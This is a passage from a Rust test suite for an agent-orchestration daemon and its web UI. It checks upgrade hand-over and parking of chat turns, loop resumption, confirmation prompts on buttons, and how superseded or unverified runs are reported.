17331                tokio::time::sleep(Duration::from_millis(25)).await;
17332            }
17333            panic!("the park never named the chat turn");
17334        };
17335        waiting.await;
17336        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
17337
17338        // A new turn is refused, a queued claim and a direct `/say` see a busy
17339        // slot, and nothing new is live.
17340        let refused = ui.begin_talk_turn("20260901-000000-late").err();
17341        assert!(
17342            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
17343            "a direct start says an upgrade is in progress"
17344        );
17345        assert!(
17346            ui.begin_queued_talk_turn("20260901-000000-late")
17347                .expect("queued claim")
17348                .is_none()
17349        );
17350        assert!(matches!(
17351            ui.begin_talk_turn_unless_pending("20260901-000000-late")
17352                .expect("start"),
17353            TalkTurnStart::Busy
17354        ));
17355        assert_eq!(turns.lock().unwrap().live.len(), 1);
17356
17357        // The health text names the turn.
17358        let progress = crate::updater::read_progress(home.path()).expect("progress");
17359        let view = upgrade_progress_view(&ui, progress);
17360        assert!(
17361            view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
17362            "{:?}",
17363            view.waiting_on
17364        );
17365
17366        assert!(!handover.is_finished());
17367        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
17368        drop(turn);
17369        handover.await.expect("join").expect("hand over");
17370        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17371        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
17372    }
17373
17374    /// Chat stays open while the loop is still parking, and closes only once
17375    /// the loop is done; a turn started during the park is waited for.
17376    #[tokio::test]
17377    async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
17378        let home = TempDir::new().expect("temp home");
17379        let (ui, looping, turns, served) = park_fixture(&home).await;
17380        let ui = Arc::new(ui);
17381        // A loop that ends only when told to.
17382        let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
17383        lock_or_recover(&looping).live = Some(Live {
17384            stop: daemon::Stop::new(),
17385            handle: tokio::spawn(async move {
17386                let _ = loop_ended.await;
17387            }),
17388            opts: daemon::Opts::default(),
17389        });
17390
17391        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
17392        let handover = tokio::spawn({
17393            let home = home.path().to_path_buf();
17394            let turns = Arc::clone(&turns);
17395            let calls = Arc::clone(&calls);
17396            async move {
17397                hand_over(
17398                    &home,
17399                    &looping,
17400                    &turns,
17401                    &|_: &[String]| Duration::from_secs(60),
17402                    served,
17403                    move |_| {
17404                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17405                        Ok(1)
17406                    },
17407                )
17408                .await
17409            }
17410        });
17411
17412        let reached = async {
17413            for _ in 0..200 {
17414                if crate::updater::read_progress(home.path())
17415                    .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
17416                {
17417                    return;
17418                }
17419                tokio::time::sleep(Duration::from_millis(25)).await;
17420            }
17421            panic!("the hand-over never reached parking");
17422        };
17423        reached.await;
17424
17425        // The loop is still parking: a chat turn starts.
17426        assert!(!turns.lock().unwrap().parking);
17427        let turn = ui
17428            .begin_talk_turn("20260901-000000-chat")
17429            .expect("claim")
17430            .expect("a turn can start while the loop parks");
17431
17432        // The loop ends; the slot closes while the first turn is still held.
17433        end_loop.send(()).expect("loop still waiting");
17434        for _ in 0..200 {
17435            if turns.lock().unwrap().parking {
17436                break;
17437            }
17438            tokio::time::sleep(Duration::from_millis(25)).await;
17439        }
17440        assert!(
17441            turns.lock().unwrap().parking,
17442            "closed once the loop is done"
17443        );
17444        let refused = ui.begin_talk_turn("20260901-000000-late").err();
17445        assert!(
17446            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
17447            "no turn starts once the loop is done"
17448        );
17449        assert!(
17450            ui.begin_queued_talk_turn("20260901-000000-late")
17451                .expect("queued claim")
17452                .is_none()
17453        );
17454        assert!(!handover.is_finished());
17455        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
17456
17457        drop(turn);
17458        handover.await.expect("join").expect("hand over");
17459        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17460        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
17461    }
17462
17463    /// A turn that never ends cannot block the upgrade: past the bound the
17464    /// hand-over proceeds and records which talk it gave up on.
17465    #[tokio::test]
17466    async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
17467        let home = TempDir::new().expect("temp home");
17468        let (ui, looping, turns, served) = park_fixture(&home).await;
17469        let id = "20260901-000000-stuk";
17470        let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
17471
17472        let calls = std::sync::atomic::AtomicUsize::new(0);
17473        hand_over(
17474            home.path(),
17475            &looping,
17476            &turns,
17477            &|_: &[String]| Duration::from_millis(300),
17478            served,
17479            |_| {
17480                calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17481                Ok(1)
17482            },
17483        )
17484        .await
17485        .expect("hand over");
17486        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17487
17488        let progress = crate::updater::read_progress(home.path()).expect("progress");
17489        assert_eq!(progress.stage, crate::updater::Stage::Restarting);
17490        assert!(
17491            progress.detail.as_deref().is_some_and(|d| d.contains(id)),
17492            "{:?}",
17493            progress.detail
17494        );
17495        let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
17496        assert!(
17497            log.contains("handing over anyway") && log.contains(id),
17498            "{log}"
17499        );
17500    }
17501
17502    /// A drain that finds the upgrade parking leaves the queued draft alone
17503    /// and gives the slot up, instead of starting another turn.
17504    #[tokio::test]
17505    async fn drain_loop_starts_no_turn_while_parking() {
17506        let tmp = TempDir::new().expect("tempdir");
17507        let repo = tmp.path().join("repo");
17508        std::fs::create_dir_all(&repo).expect("repo dir");
17509        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
17510        let home = TempDir::new().expect("temp home");
17511        let talks = Talks::at(home.path().join("talks"));
17512        let ui = Ui::new(
17513            Queue::at(home.path().join("queue")),
17514            Questions::at(home.path().join("questions")),
17515            talks.clone(),
17516            home.path().join("runs"),
17517            home.path().to_path_buf(),
17518            repo.clone(),
17519        )
17520        .with_worktrees_root(home.path().join("wt"));
17521        let cfg = config_for(&repo).await.expect("discover config");
17522        let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
17523        let id = talk.id.clone();
17524        talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
17525        let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
17526        let turns = ui.turns();
17527        let parking = ParkingTurns::begin(&turns);
17528
17529        drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
17530
17531        assert!(
17532            turns.lock().unwrap().live.is_empty(),
17533            "the slot is given up"
17534        );
17535        let fresh = talks.get(&id).expect("talk");
17536        assert_eq!(fresh.pending, "later", "the draft is still queued");
17537        assert!(fresh.turns.is_empty(), "no turn ran");
17538        drop(parking);
17539    }
17540
17541    /// Run `hand_over` against `ui` and return what the successor was told.
17542    async fn handed_over(home: &TempDir, ui: Ui) -> bool {
17543        let looping = ui.looping();
17544        let turns = ui.turns();
17545        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17546            .await
17547            .expect("bind loopback");
17548        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17549        let told = std::sync::Mutex::new(None);
17550        hand_over(
17551            home.path(),
17552            &looping,
17553            &turns,
17554            &|_: &[String]| Duration::from_secs(5),
17555            served,
17556            |resume| {
17557                *told.lock().unwrap() = Some(resume);
17558                Ok(1)
17559            },
17560        )
17561        .await
17562        .expect("hand over");
17563        told.into_inner().unwrap().expect("successor was started")
17564    }
17565
17566    #[tokio::test]
17567    async fn a_running_loop_is_resumed_by_the_successor() {
17568        let home = TempDir::new().expect("temp home");
17569        let ui = idle_ui(&home);
17570        ui.start_loop(None).expect("start");
17571        ui.park_for_upgrade().expect("park");
17572        // The idle loop sees the park and ends before the handover fires.
17573        for _ in 0..500 {
17574            if !ui.loop_view(None).running {
17575                break;
17576            }
17577            tokio::time::sleep(Duration::from_millis(2)).await;
17578        }
17579        assert!(handed_over(&home, ui).await, "a running loop must resume");
17580
17581        let successor = idle_ui(&home);
17582        assert!(!successor.loop_view(None).running);
17583        assert!(successor.resume_after_handover(true));
17584        assert!(successor.loop_view(None).running);
17585        successor.stop_loop(None, false).expect("stop");
17586    }
17587
17588    #[tokio::test]
17589    async fn a_second_upgrade_request_keeps_the_resume_intent() {
17590        let home = TempDir::new().expect("temp home");
17591        let ui = idle_ui(&home);
17592        ui.start_loop(None).expect("start");
17593        ui.park_for_upgrade().expect("first park");
17594        ui.park_for_upgrade().expect("second park");
17595        assert!(handed_over(&home, ui).await);
17596    }
17597
17598    #[tokio::test]
17599    async fn a_stop_during_the_handover_wait_is_honoured() {
17600        let home = TempDir::new().expect("temp home");
17601        let ui = idle_ui(&home);
17602        ui.start_loop(None).expect("start");
17603        ui.park_for_upgrade().expect("park");
17604        ui.stop_loop(None, false).expect("stop");
17605        assert!(!handed_over(&home, ui).await);
17606    }
17607
17608    #[tokio::test]
17609    async fn an_idle_loop_stays_stopped_across_the_handover() {
17610        let home = TempDir::new().expect("temp home");
17611        let ui = idle_ui(&home);
17612        ui.park_for_upgrade().expect("park");
17613        assert!(!handed_over(&home, ui).await);
17614
17615        let successor = idle_ui(&home);
17616        assert!(!successor.resume_after_handover(false));
17617        assert!(!successor.loop_view(None).running);
17618    }
17619
17620    #[tokio::test]
17621    async fn a_loop_the_operator_stopped_is_not_resumed() {
17622        let home = TempDir::new().expect("temp home");
17623        let ui = idle_ui(&home);
17624        ui.start_loop(None).expect("start");
17625        ui.stop_loop(None, false).expect("stop");
17626        ui.park_for_upgrade().expect("park");
17627        assert!(!handed_over(&home, ui).await);
17628    }
17629
17630    #[test]
17631    fn only_an_explicit_one_requests_a_resume() {
17632        assert!(!resume_requested(None));
17633        assert!(!resume_requested(Some("0".into())));
17634        assert!(!resume_requested(Some("".into())));
17635        assert!(resume_requested(Some("1".into())));
17636    }
17637
17638    #[test]
17639    fn the_upgrade_button_arms_before_it_restarts_anything() {
17640        // It ends the process the operator is talking to, and a phone in a
17641        // pocket taps things. One tap arms, the second commits.
17642        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
17643        assert!(APP_JS.contains("Replace the binary and restart?"));
17644        assert!(APP_JS.contains("function confirmed("));
17645        // Hidden when the loop is somebody else's, matching the 409 above -
17646        // and hidden with nothing to install, matching the 200 "already
17647        // current" branch: an operator on the newest build must not be
17648        // offered a restart that would only park a run for nothing.
17649        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
17650        // A park waits for the node in flight, up to an hour for an implement
17651        // wave. Leaving the button reading "Upgrading…" for that long is the
17652        // same mistake as an error rendered off screen: it looks wedged.
17653        assert!(
17654            APP_JS.contains("Parking, then restarting"),
17655            "the button says what it is waiting for"
17656        );
17657        // And nothing to install must give the button back rather than
17658        // pretending a restart is coming.
17659        assert!(APP_JS.contains("if (!out.to)"));
17660    }
17661
17662    #[test]
17663    fn stopping_the_loop_arms_but_starting_does_not() {
17664        // A stray tap must not leave the queue stopped overnight, so a stop is
17665        // two taps through the same helper the upgrade uses; a start stays one.
17666        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
17667        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
17668        assert!(APP_JS.contains("confirmed(button, question)"));
17669        // The label put back on timeout is the one saved when arming, not a
17670        // hard-coded upgrade caption that would rename the stop button.
17671        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
17672        assert!(APP_JS.contains("const label = btn.textContent;"));
17673        assert!(!APP_JS.contains("Neither direction is guarded"));
17674    }
17675
17676    #[test]
17677    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
17678        assert!(
17679            APP_JS.contains("state.health.version"),
17680            "the operator wants to know what is running even with nothing newer"
17681        );
17682        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
17683    }
17684
17685    #[test]
17686    fn the_upgrade_button_names_its_destination() {
17687        assert!(
17688            APP_JS.contains("`Update to ${update.to}`"),
17689            "pressing the button should not be a surprise about what it moves to"
17690        );
17691    }
17692
17693    #[test]
17694    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
17695        for stage in ["downloading", "replaced", "parking", "restarting"] {
17696            assert!(
17697                APP_JS.contains(&format!("\"{stage}\"")),
17698                "the phone must be able to tell {stage} apart from the others"
17699            );
17700        }
17701        assert!(APP_JS.contains(".waiting_on"));
17702        // What replaced the bare "Cannot reach magi: Failed to fetch": a
17703        // fetch failing while an upgrade is in flight is not an error, it is
17704        // the sub-second gap `bind_waiting` covers, and it must not be
17705        // reported as one.
17706        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
17707        assert!(APP_JS.contains("reconnects on its own"));
17708    }
17709
17710    #[test]
17711    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
17712        // `Stage::Failed` is terminal on the server and nothing clears it on
17713        // its own - not a fresh start, not time passing - so a full-strip
17714        // takeover for it (the way the busy stages take the strip over,
17715        // correctly, because those are transient) would have hidden
17716        // start/stop/park behind an upgrade notice with no way back short of
17717        // a person editing `upgrade.json` by hand or a later release
17718        // happening to succeed. The failure must instead ride along as a note
17719        // next to whatever control the loop's own state already offers.
17720        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
17721            ..APP_JS.find("function upgrade(").expect("upgrade")];
17722        assert!(
17723            !body.contains(
17724                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
17725            ),
17726            "a failed upgrade must not take the whole strip over the way it used to"
17727        );
17728        assert!(
17729            body.contains("upgradeFailNote"),
17730            "the failure has to reach the loop's own note instead"
17731        );
17732        // `quiet` and `control` are the only two places `loop-why` is set from
17733        // this function's own state; both must carry the note through, or a
17734        // future edit to either one would silently drop it again.
17735        assert_eq!(
17736            body.matches("upgradeFailNote].filter(Boolean).join")
17737                .count(),
17738            2,
17739            "both loop-why writers (quiet and control) must fold the note in"
17740        );
17741    }
17742
17743    #[test]
17744    fn an_overdue_upgrade_eventually_asks_for_a_human() {
17745        // The ceiling has to clear a full hour-long park with room to spare,
17746        // or an ordinary implement wave would be reported as a stuck upgrade.
17747        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
17748        assert!(APP_JS.contains("function upgradeOverdue("));
17749    }
17750
17751    #[test]
17752    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
17753        assert!(
17754            APP_JS.contains("Updated to ${upgradeInfo.to"),
17755            "the operator who asked for the restart wants to know it worked"
17756        );
17757    }
17758
17759    #[test]
17760    fn an_error_is_visible_from_where_the_button_is() {
17761        // The alert used to sit in the flow under the header. On a phone
17762        // scrolled 13 500 px down to a run's action sheet that is off screen,
17763        // so tapping Resume and being told "the loop is running run b455
17764        // right now" looked exactly like a button that did nothing.
17765        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
17766            ..APP_CSS.find(".alert-text").expect(".alert-text")];
17767        assert!(
17768            alert.contains("position: fixed"),
17769            "an error about the thing under your thumb has to be visible from \
17770             where your thumb is: {alert}"
17771        );
17772        assert!(
17773            alert.contains("z-index: 25"),
17774            "above the dock (20) and the run-actions FAB (15), so neither \
17775             buries it: {alert}"
17776        );
17777        assert!(
17778            alert.contains("var(--tap)"),
17779            "and clear of the dock and the home indicator: {alert}"
17780        );
17781        // The FAB sits at the same height on the right. An error that covered
17782        // it would hide the button the operator reaches for next.
17783        assert!(
17784            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
17785            "the FAB's column stays free: {alert}"
17786        );
17787    }
17788
17789    #[tokio::test]
17790    async fn an_older_attempt_says_what_replaced_it() {
17791        let fx = Fixture::start().await;
17792        let q = fx.queue();
17793        let runs = fx.runs();
17794        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
17795        write_run(&runs, first, RunStatus::Stalled);
17796        write_run(&runs, second, RunStatus::Blocked);
17797
17798        let mut t = Task::new(
17799            "one task".to_owned(),
17800            "do it".to_owned(),
17801            PathBuf::from("/repo"),
17802            Source::Human,
17803        );
17804        t.runs = vec![first.to_owned(), second.to_owned()];
17805        q.put(&mut t).expect("put");
17806
17807        // Two cards with the same title and no hint which is which was the
17808        // question: "why are there two of the same, one stalled and one
17809        // blocked?" The older one now names its replacement.
17810        let rows = fx.get("/api/runs").await.json();
17811        let by = |short: &str| -> Value {
17812            rows.as_array()
17813                .unwrap()
17814                .iter()
17815                .find(|r| r["short"] == short)
17816                .cloned()
17817                .unwrap_or(Value::Null)
17818        };
17819        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
17820        assert!(
17821            by("bbbb")["superseded_by"].is_null(),
17822            "the latest attempt is not superseded by anything"
17823        );
17824        // Front end: the note has to be rendered, not just carried.
17825        assert!(APP_JS.contains("run.superseded_by"));
17826        assert!(APP_JS.contains("Superseded by"));
17827    }
17828
17829    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
17830        let mut t = Task::new(
17831            "one task".to_owned(),
17832            "do it".to_owned(),
17833            PathBuf::from("/repo"),
17834            Source::Human,
17835        );
17836        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
17837        t.status = status;
17838        t
17839    }
17840
17841    #[test]
17842    fn source_link_picks_the_page_that_filed_the_task() {
17843        let agent = |node: &str| Source::Agent {
17844            run: "20260904-014455-ab12".to_owned(),
17845            node: node.to_owned(),
17846        };
17847        let chat = source_link(&agent("chat")).expect("chat link");
17848        assert_eq!(chat.kind, "chat");
17849        assert_eq!(chat.id, "20260904-014455-ab12");
17850        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
17851        let run = source_link(&agent("implement")).expect("run link");
17852        assert_eq!(
17853            (run.kind, run.href.as_str()),
17854            ("run", "#/runs/20260904-014455-ab12")
17855        );
17856        assert_eq!(source_link(&Source::Human), None);
17857        assert_eq!(
17858            source_link(&Source::Issue {
17859                number: 3,
17860                repo: "o/r".to_owned()
17861            }),
17862            None
17863        );
17864        let odd = source_link(&Source::Agent {
17865            run: "a b/c".to_owned(),
17866            node: "chat".to_owned(),
17867        })
17868        .expect("link");
17869        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
17870    }
17871
17872    #[test]
17873    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
17874        assert!(
17875            !APP_JS.contains("src.node === \"chat\""),
17876            "inline href rule is back"
17877        );
17878        assert!(
17879            APP_JS.matches("sourceLinkOf(").count() >= 4,
17880            "helper must serve every page"
17881        );
17882        assert!(
17883            APP_JS.matches("openChatLink(").count() >= 3,
17884            "the run page still needs its explicit chat link"
17885        );
17886        assert!(
17887            !APP_JS.contains("const openChat = el("),
17888            "the Queue card duplicates its source label link again"
17889        );
17890        assert!(
17891            APP_JS.contains("metaKids.push(link ? el(\"a\""),
17892            "the task page must link a chat source label too"
17893        );
17894    }
17895
17896    #[test]
17897    fn task_ref_carries_the_source_link_for_a_chat_task() {
17898        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
17899        t.source = Source::Agent {
17900            run: "20260904-014455-ab12".to_owned(),
17901            node: "chat".to_owned(),
17902        };
17903        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
17904        let v = serde_json::to_value(&out).expect("json");
17905        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
17906        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
17907        assert_eq!(v["source_label"], t.source.label());
17908
17909        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
17910        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
17911            .expect("json");
17912        assert!(v["source_link"].is_null(), "{v}");
17913    }
17914
17915    #[test]
17916    fn task_view_serializes_source_link() {
17917        let mut t = Task::new(
17918            "t".to_owned(),
17919            "t".to_owned(),
17920            PathBuf::from("/repo"),
17921            Source::Agent {
17922                run: "20260901-000000-aaaa".to_owned(),
17923                node: "implement".to_owned(),
17924            },
17925        );
17926        t.runs.clear();
17927        let v = serde_json::to_value(TaskView::from(t)).expect("json");
17928        assert_eq!(v["source_link"]["kind"], "run", "{v}");
17929        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
17930    }
17931
17932    #[tokio::test]
17933    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
17934        let fx = Fixture::start().await;
17935        let runs = fx.runs();
17936        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
17937        write_run(&runs, old, RunStatus::Blocked);
17938        write_run(&runs, new, RunStatus::Merged);
17939        let mut t = outcome_task(&[old, new], TaskStatus::Done);
17940        fx.queue().put(&mut t).expect("put");
17941
17942        let view = fx.get(&format!("/api/runs/{old}")).await.json();
17943        let task = &view["task"];
17944        assert_eq!(task["status"], "done");
17945        assert_eq!(task["is_latest"], false);
17946        assert_eq!(task["latest"]["short"], "bbbb");
17947        assert_eq!(task["finished_by"]["id"], new);
17948        assert_eq!(task["finished_by"]["outcome"], "merged");
17949        assert_eq!(task["closed_by_hand"], false);
17950        assert_eq!(view["status"], "blocked", "the run keeps its own status");
17951        assert!(APP_JS.contains("finished_by"));
17952        assert!(APP_JS.contains("superseded by run"));
17953    }
17954
17955    #[tokio::test]
17956    async fn the_latest_run_reports_a_held_task_without_a_successor() {
17957        let fx = Fixture::start().await;
17958        let runs = fx.runs();
17959        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
17960        write_run(&runs, old, RunStatus::Stalled);
17961        write_run(&runs, new, RunStatus::Blocked);
17962        let mut t = outcome_task(&[old, new], TaskStatus::Held);
17963        fx.queue().put(&mut t).expect("put");
17964
17965        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
17966        assert_eq!(task["status"], "held");
17967        assert_eq!(task["is_latest"], true);
17968        assert!(task["latest"].is_null());
17969        assert!(task["finished_by"].is_null());
17970        assert_eq!(task["closed_by_hand"], false);
17971    }
17972
17973    #[tokio::test]
17974    async fn a_direct_run_has_no_task_outcome() {
17975        let fx = Fixture::start().await;
17976        let runs = fx.runs();
17977        let id = "20260901-000000-aaaa";
17978        write_run(&runs, id, RunStatus::Blocked);
17979        let view = fx.get(&format!("/api/runs/{id}")).await.json();
17980        assert!(view["task"].is_null());
17981    }
17982
17983    #[test]
17984    fn task_outcome_does_not_guess_a_finishing_run() {
17985        let a = "20260901-000000-aaaa";
17986        let b = "20260901-000000-bbbb";
17987        let c = "20260901-000000-cccc";
17988        let dir = tempfile::tempdir().expect("tempdir");
17989        write_run(dir.path(), a, RunStatus::Blocked);
17990        write_run(dir.path(), b, RunStatus::VerifiedNoop);
17991        // `c` has no record: unreadable.
17992        let read = |id: &str| read_run(dir.path(), id).ok();
17993        // Neither a blocked run nor a no-op finished the task; the newest run is
17994        // unreadable and still named.
17995        let t = outcome_task(&[a, b, c], TaskStatus::Done);
17996        let out = task_outcome(&t, a, 3, read);
17997        assert!(out.finished_by.is_none());
17998        assert!(out.closed_by_hand);
17999        let latest = out.latest.expect("latest");
18000        assert_eq!(latest.id, c);
18001        assert_eq!(latest.status, None);
18002        assert_eq!(latest.outcome, "record unreadable");
18003
18004        // A Ready run settles the task as done, so it is named as the finisher.
18005        write_run(dir.path(), c, RunStatus::Ready);
18006        let t = outcome_task(&[a, c], TaskStatus::Done);
18007        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
18008        assert_eq!(out.finished_by.expect("finisher").id, c);
18009        assert!(!out.closed_by_hand);
18010
18011        // A resumed run id repeats: it is still the latest by id.
18012        let t = outcome_task(&[a, b, a], TaskStatus::Held);
18013        assert!(task_outcome(&t, a, 3, read).is_latest);
18014    }
18015
18016    #[tokio::test]
18017    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
18018        // The list route has known this since the card fix above; the detail
18019        // route — what an operator actually opens from a notification about
18020        // a blocked run — did not, and went on showing a bare red BLOCKED
18021        // chip for a run a retry had already finished.
18022        let fx = Fixture::start().await;
18023        let q = fx.queue();
18024        let runs = fx.runs();
18025        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
18026        write_run(&runs, first, RunStatus::Blocked);
18027        write_run(&runs, second, RunStatus::Merged);
18028
18029        let mut t = Task::new(
18030            "one task".to_owned(),
18031            "do it".to_owned(),
18032            PathBuf::from("/repo"),
18033            Source::Human,
18034        );
18035        t.runs = vec![first.to_owned(), second.to_owned()];
18036        q.put(&mut t).expect("put");
18037
18038        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
18039        assert_eq!(earlier["superseded_by"], "dddd");
18040        assert_eq!(earlier["latest_attempt"]["id"], second);
18041        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
18042        assert_eq!(
18043            earlier["latest_attempt"]["resolved"], true,
18044            "the run that replaced it landed, so this one reads as settled"
18045        );
18046
18047        let later = fx.get(&format!("/api/runs/{second}")).await.json();
18048        assert!(
18049            later["superseded_by"].is_null(),
18050            "the latest attempt is not superseded by anything"
18051        );
18052        assert!(
18053            later["latest_attempt"].is_null(),
18054            "the latest attempt has no later attempt of its own"
18055        );
18056
18057        // Front end: the detail page has to read the field this route now
18058        // carries, downgrade the chip, and link to the run that replaced it —
18059        // not just repeat the list card's own logic under a different name.
18060        // The link is built off `latest_attempt.id`, the server-resolved
18061        // full id, never a bare short string a client would have to guess a
18062        // full run from.
18063        assert!(APP_JS.contains("run.latest_attempt"));
18064        assert!(APP_JS.contains("data-superseded"));
18065        assert!(APP_JS.contains("#/runs/${latest.id}"));
18066    }
18067
18068    #[tokio::test]
18069    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
18070        // A -> B -> C, all Blocked except the last. A's immediate successor
18071        // (superseded_by) is B, which is itself unresolved; what an operator
18072        // opening A's page actually needs is where the task's story stands
18073        // *now* - C, not B - without depending on whether C happens to be in
18074        // whatever page of /api/runs the client last cached.
18075        let fx = Fixture::start().await;
18076        let q = fx.queue();
18077        let runs = fx.runs();
18078        let (a, b, c) = (
18079            "20260901-000000-aaaa",
18080            "20260901-000000-bbbb",
18081            "20260901-000000-cccc",
18082        );
18083        write_run(&runs, a, RunStatus::Blocked);
18084        write_run(&runs, b, RunStatus::Blocked);
18085        write_run(&runs, c, RunStatus::Merged);
18086
18087        let mut t = Task::new(
18088            "retried twice".to_owned(),
18089            "do it".to_owned(),
18090            PathBuf::from("/repo"),
18091            Source::Human,
18092        );
18093        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
18094        q.put(&mut t).expect("put");
18095
18096        let view = fx.get(&format!("/api/runs/{a}")).await.json();
18097        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
18098        assert_eq!(
18099            view["latest_attempt"]["id"], c,
18100            "the chain's current head, not the intermediate Blocked retry"
18101        );
18102        assert_eq!(view["latest_attempt"]["resolved"], true);
18103
18104        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
18105        assert_eq!(mid["latest_attempt"]["id"], c);
18106        assert_eq!(mid["latest_attempt"]["resolved"], true);
18107    }
18108
18109    #[tokio::test]
18110    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
18111        let fx = Fixture::start().await;
18112        let q = fx.queue();
18113        let runs = fx.runs();
18114
18115        // Still Blocked: the task is not resolved, so the older run must not
18116        // read as settled either.
18117        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
18118        write_run(&runs, still_blocked_a, RunStatus::Blocked);
18119        write_run(&runs, still_blocked_b, RunStatus::Blocked);
18120        let mut t1 = Task::new(
18121            "still stuck".to_owned(),
18122            "do it".to_owned(),
18123            PathBuf::from("/repo"),
18124            Source::Human,
18125        );
18126        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
18127        q.put(&mut t1).expect("put");
18128        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
18129        assert_eq!(view1["latest_attempt"]["resolved"], false);
18130        assert_eq!(view1["latest_attempt"]["status"], "blocked");
18131        assert_eq!(view1["latest_attempt"]["done"], true);
18132
18133        // Still running: the successor exists and must be reported as such.
18134        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
18135        write_run(&runs, run_a, RunStatus::Blocked);
18136        write_run(&runs, run_b, RunStatus::Implementing);
18137        let mut t3 = Task::new(
18138            "retrying".to_owned(),
18139            "do it".to_owned(),
18140            PathBuf::from("/repo"),
18141            Source::Human,
18142        );
18143        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
18144        q.put(&mut t3).expect("put");
18145        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
18146        assert_eq!(view3["latest_attempt"]["id"], run_b);
18147        assert_eq!(view3["latest_attempt"]["resolved"], false);
18148        assert_eq!(view3["latest_attempt"]["done"], false);
18149
18150        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
18151        // to check - not a confirmed finish, so this must not read as
18152        // resolved either, even though the run is done in the sense that
18153        // nothing is still running.
18154        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
18155        write_run(&runs, noop_a, RunStatus::Blocked);
18156        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
18157        let mut t2 = Task::new(
18158            "claims done".to_owned(),
18159            "do it".to_owned(),
18160            PathBuf::from("/repo"),
18161            Source::Human,
18162        );
18163        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
18164        q.put(&mut t2).expect("put");
18165        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
18166        assert_eq!(
18167            view2["latest_attempt"]["resolved"], false,
18168            "an unverified no-op claim must not read as a confirmed finish"
